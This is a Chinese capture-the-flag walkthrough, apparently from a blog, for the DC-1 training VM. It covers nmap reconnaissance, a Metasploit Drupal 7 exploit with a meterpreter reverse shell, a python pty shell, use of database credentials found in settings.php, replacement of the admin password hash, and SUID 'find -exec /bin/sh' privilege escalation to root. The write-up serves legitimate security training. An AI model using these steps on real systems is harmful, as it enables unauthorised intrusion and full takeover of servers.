DC-1靶场实验报告
- 环境搭建:
- 靶场描述
DC-1是一个专门建立的脆弱实验室,目的是获得渗透测试领域的经验。它是为初学者设计的挑战,但它到底有多容易取决于你的技能和知识,以及你的学习能力。要成功完成这一挑战,您需要掌握Linux技能,熟悉Linux命令行,并具有基本渗透测试工具的经验,例如可以在Kali Linux或Parrot Security OS上找到的工具。有多种方法可以获得根,但是,我为初学者提供了一些包含线索的标志。总共有五个flag,但最终目标是在根的主目录中找到并读取标志。您甚至不需要成为根用户来执行此操作,但是,您将需要根权限。根据您的技能水平,您可以跳过寻找大多数这些标志,然后继续直。初学者可能会遇到他们以前从未遇到过的挑战,但是谷歌搜索应该是获得完成这个挑战所需的信息所必需的。
根据描述信息我们可以知道本靶场环境总共有5个flag。
- 下载靶场环境
靶场下载地址
- 渗透靶场
- 环境配置
打开虚拟机后,将网络适配器调整为NAT模式,确保与kali虚拟机模式一致。
- 信息收集:寻找靶机真实IP
首先知道kali的ip输入(ifconfig),得知kali的ip为192.168.184.128
已知kali的ip,DC-1的ip未知
进入kali使用nmap
nmap -sP XXX.XXX.XXX.XXX /24
使用 -sP参数,扫描存活主机,这个参数不扫描端口,扫描网段中有哪些主机在线。
nmap -p- XXX.XXX.XXX.XXX /24
获得DC-1 IP为:192.168.184.129
- 信息收集:探寻端口及服务
拿到IP后我们需要对目标系统进行信息收集,以了解其运行的服务,开放的关口,可能存在的漏洞等。
nmap -A -p- -v 192.168.184.129
-A: 这个选项表示执行“全面扫描”。它包含了多个子选项,包含版本探测、脚本扫描、操作系统探测等。通过使用这个选项,你可以获取尽可能多给关于目标主机的信息。
-v:冗余信息,它可以扫描过程中的详细信息。
从扫描结果中,我们可以得到以下信息:
开放的端口和服务信息:
22/tcp: 开放,运行 SSH 服务,版本为 OpenSSH 6.0p1 Debian 4+deb7u7(SSH 协议 2.0)
80/tcp: 开放,运行 Apache httpd 2.2.22,网站标题显示为 "Welcome to Drupal Site | Drupal Site"
111/tcp: 开放,运行 RPCBind 服务
可以看到DC-1开启了ssh和http和不知道干什么的111端口,我们可以尝试去web站点访问下DC-1的IP:192.168.168.129
发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS
searchsploit drupal 7
在百度上搜一下相关版本漏洞
利用MSF渗透
典型的drupal,启动Metersploit MSF存在drupal模块,尝试使用msf渗透
1.MSF简单命令介绍
msfconsole 进入MSF控制台
search 搜索相应模块
use 对应模块
show options 查看信息
set RHOST 远程主机ip
run 攻击
3.进入MSF控制台搜索drupal模块
进入MSF控制台msfdb run
搜索drupal模块search drupal
可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞。
4. 选择模块进行测试
利用18年那个漏洞测试
可以看到已经默认给我们选择好了对应的payload,看到了熟悉的php/meterpreter/reverse_tcp
5. 设置靶机IP运行msf
首先设置靶机IP
set rhosts (靶机IP)
接下来运行
run
执行whoami
首先获得shell
发现是www-data权限
进入home目录,发现flag4.txt文件,提示需要提升权限
6. 使用python反弹一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
回显了当前的路径
7. 发现flag1文件
查看www目录下文件,发现flag1.txt文件,打开发现提示信息,内容提示寻找站点的配置文件
即可看见第一个flag文件:flag1.txt
8. 发现flag2
不知道配置文件名,可以百度搜索一下
Drupal的默认配置文件为
/var/www/sites/default/settings.php
查看文件内容
cat /var/www/sites/default/settings.php
发现了flag2和数据库的账号密码
flag2提示,提升权限为root来查看敏感文件
flag2给出的提示:
暴力和字典攻击不是
只有获得访问权限的方法(您将需要访问权限)。
你能用这些证书做什么?
同时还发现了mysql数据库账号密码
'username' => 'dbuser',
'password' => 'R0ck3t',
我们根据提示进入数据库
mysql -udbuser -pR0ck3t
接下来查看数据库,切换到drupaldb数据库
show databases; //查看数据库
use drupaldb //进入drupaldb库
show tables; //查看里面的表
查看表后,我们可以发现一个users表
查看查找默认的Drupal user 表
select * from users; //查看users表里内容
发现admin信息
解决方法:置换drupal密码
进入www目录
quit; //退出
站点路径下执行
php scripts/password-hash.sh 新密码
然后在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库
mysql -udbuser -pR0ck3t
use drupaldb
将pass字段进行替换
Update users set pass="$S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw" where name="admin"; (注:红框为空格,橙框则什么都不用弄)
9. 登录站点
访问站点
进行登录,密码是之前我们自己替换的,账号是admin
admin
123
成功登录
10 . 发现flag3
这里面发现了flag3的信息
点击flag3进入,发现提示信息
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
大致意思是提权并提示 -exec,想到suid提权 find 命令
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
利用此特性,我们可通过SUID进行提权
使用命令查看 suid 权限的可执行二进制程序
find / -perm -4000 2>/dev/null
发现find命令
使用命令测试,发现为root权限
touch 123
ls
find / -name 123 -exec "whoami" \;
11. 发现最后的flag文件
我们切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。
find ./ -name 123 -exec "/bin/sh" \;
whoami
ls
cd /root
ls
查看cat thefinalflag.txt文件
cat thefinalflag.txt
文件内容如下
Well done!!!
干得好!
Hopefully you've enjoyed this and learned some new skills.
希望你已经享受了这一点,并学到了一些新的技能。
You can Let me know what you thought of this little journey
你可以告诉我你对这段小旅程的看法
by_ contacting me via Twitter
通过twitter联系我
QDCAU7
大致就是说你已经通过了本关卡。
标签:文件,查看,drupal,DC,靶场,权限,root From: https://blog.csdn.net/2301_77518341/article/details/142498731